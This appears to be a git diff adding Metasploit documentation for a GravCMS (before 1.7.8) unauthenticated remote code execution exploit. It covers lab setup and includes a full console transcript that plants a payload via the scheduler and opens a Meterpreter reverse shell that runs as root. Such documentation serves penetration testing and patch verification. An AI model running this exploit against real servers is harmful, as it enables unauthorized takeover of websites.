Add GravCMS exec

2021-04-11 15:36:39 +03:00
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+## Vulnerable Application
+
+### Description
+
+This module exploits arbitrary config write/update vulnerability to achieve remote code execution. Unauthenticated users can execute a terminal command under the context of the web server user.
+
+In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of existing YAML files on the system.
+
+Technical details about the vulnerability can be found at [here](https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/) .
+
+### Setup
+
+GravCMS requires only PHP and a web server to run. Please visit following url to find out required php packages.
+
+[https://learn.getgrav.org/17/basics/requirements](https://learn.getgrav.org/17/basics/requirements)
+
+```
+wget https://getgrav.org/download/core/grav-admin/1.7.8
+unzip -x 1.7.8
+chown -R www-data:www-data grav-admin
+```
+
+Once you finished the installation, visit the GravCMS and complete the admin user creation process. To finish up the installation, execute the following command to enable the scheduler.
+
+```
+(crontab -l; echo "* * * * * cd /var/www/html/grav-admin;/usr/bin/php bin/grav scheduler 1>> /dev/null 2>&1") | crontab -
+```
+
+## Verification Steps
+
+Follow [Setup](#setup) and [Scenarios](#scenarios).
+
+## Targets
+
+### 0
+
+`GravCMS < 1.7.8`
+
+## Scenarios
+
+```
+msf6 >
+msf6 > use exploit/linux/http/gravcms_exec
+[*] Using configured payload php/meterpreter/reverse_tcp
+msf6 exploit(linux/http/gravcms_exec) > set RHOSTS 192.168.179.131
+RHOSTS => 192.168.179.131
+msf6 exploit(linux/http/gravcms_exec) > set LHOST 172.26.253.227
+LHOST => 172.26.253.227
+msf6 exploit(linux/http/gravcms_exec) > options
+
+Module options (exploit/linux/http/gravcms_exec):
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
+   RHOSTS   192.168.179.131  yes       The target host(s), range CIDR identifier, or hosts file with
+                                        syntax 'file:<path>'
+   RPORT    80               yes       The target port (TCP)
+   SSL      false            no        Negotiate SSL/TLS for outgoing connections
+   VHOST                     no        HTTP server virtual host
+
+
+Payload options (php/meterpreter/reverse_tcp):
+
+   Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+   LHOST  172.26.253.227   yes       The listen address (an interface may be specified)
+   LPORT  4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Automatic
+
+
+msf6 exploit(linux/http/gravcms_exec) > run
+
+[*] Started reverse TCP handler on 172.26.253.227:4444
+[*] Sending request to the admin path to generate cookie and token
+[+] Cookie and CSRF token successfully extracted !
+[*] Implanting payload via scheduler feature
+[+] Scheduler successfully created ! Wait for 1 minute...
+[*] Sending stage (39282 bytes) to 172.26.240.1
+[*] Cleaning up the the scheduler...
+[+] The scheduler config successfully cleaned up!
+[*] Meterpreter session 1 opened (172.26.253.227:4444 -> 172.26.240.1:53912) at 2021-04-11 15:32:01 +0300
+
+meterpreter > pwd
+/var/www/html/grav-admin
+meterpreter > getuid
+Server username: root (0)
+```